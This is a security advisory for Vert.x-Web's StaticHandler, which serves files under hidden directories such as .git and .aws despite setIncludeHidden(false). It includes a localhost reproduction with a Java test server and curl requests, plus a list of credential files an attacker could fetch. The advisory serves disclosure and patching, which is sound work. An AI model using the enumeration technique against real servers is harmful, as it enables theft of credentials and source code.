GHSA-h5fg-jpgr-rv9c Vert.x-Web Access Control Flaw in StaticHandler’s Hidden File Protection for Files Under Hidden Directories

• Maven io.vertx:vertx-web: < 4.5.22 → fixed in 4.5.22 • Maven io.vertx:vertx-web: >= 5.0.0, < 5.0.5 → fixed in 5.0.5

Description There is a flaw in the hidden file protection feature of Vert.x Web’s `StaticHandler` when `setIncludeHidden(false)` is configured. In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (`.`) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases: • Files under hidden directories: For example, `/.secret/config.txt` — although `.secret` is a hidden directory, the file `config.txt` itself does not start with a dot, so it gets served. • Real-world impact: Sensitive files placed in hidden directories like `.git`, `.env`, `.aws` may become publicly accessible. As a result, the behavior does not meet the expectations set by the `includeHidden=false` configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information. Steps to Reproduce ```bash 1. Prepare test environment Create directory structure mkdir -p src/test/resources/webroot/.secret mkdir -p src/test/resources/webroot/.git Place test files echo "This is a visible file" > src/test/resources/webroot/visible.txt echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt echo "Git config data" > src/test/resources/webroot/.git/config ``` ```java 2. Implement test server import io.vertx.core.AbstractVerticle; import io.vertx.core.Vertx; import io.vertx.ext.web.Router; import io.vertx.ext.web.handler.StaticHandler; public class StaticHandlerTestServer extends AbstractVerticle { @Override public void start() { Router router = Router.router(vertx); // Configure to not serve hidden files StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot") .setIncludeHidden(false) .setDirectoryListing(false); router.route("/*").handler(staticHandler); vertx.createHttpServer() .requestHandler(router) .listen(8082); } public static void main(String[] args) { Vertx vertx = Vertx.vertx(); vertx.deployVerticle(new StaticHandlerTestServer()); } } ``` ```bash 3. Confirm the vulnerability Normal file (accessible) curl http://localhost:8082/visible.txt Result: 200 OK Hidden file (correctly blocked) curl http://localhost:8082/.git Result: 404 Not Found File under hidden directory (vulnerable) curl http://localhost:8082/.git/config Result: 200 OK - Returns contents of Git config ``` Potential Impact 1. Information Disclosure Examples of sensitive files that could be exposed: • `.git/config`: Git repository settings (e.g., remote URL, credentials) • `.env/*`: Environment variables (API keys, DB credentials) • `.aws/credentials`: AWS access keys • `.ssh/known_hosts`: SSH host trust info • `.docker/config.json`: Docker registry credentials 2. Attack Scenarios • Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data. • Especially dangerous for `.git/HEAD`, `.git/config`, `.git/objects/*` — which may allow full reconstruction of source code. 3. Affected Scope • Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well) • Environments: All OSes (Windows, Linux, macOS) • Configurations: All applications using `StaticHandler.setIncludeHidden(false)`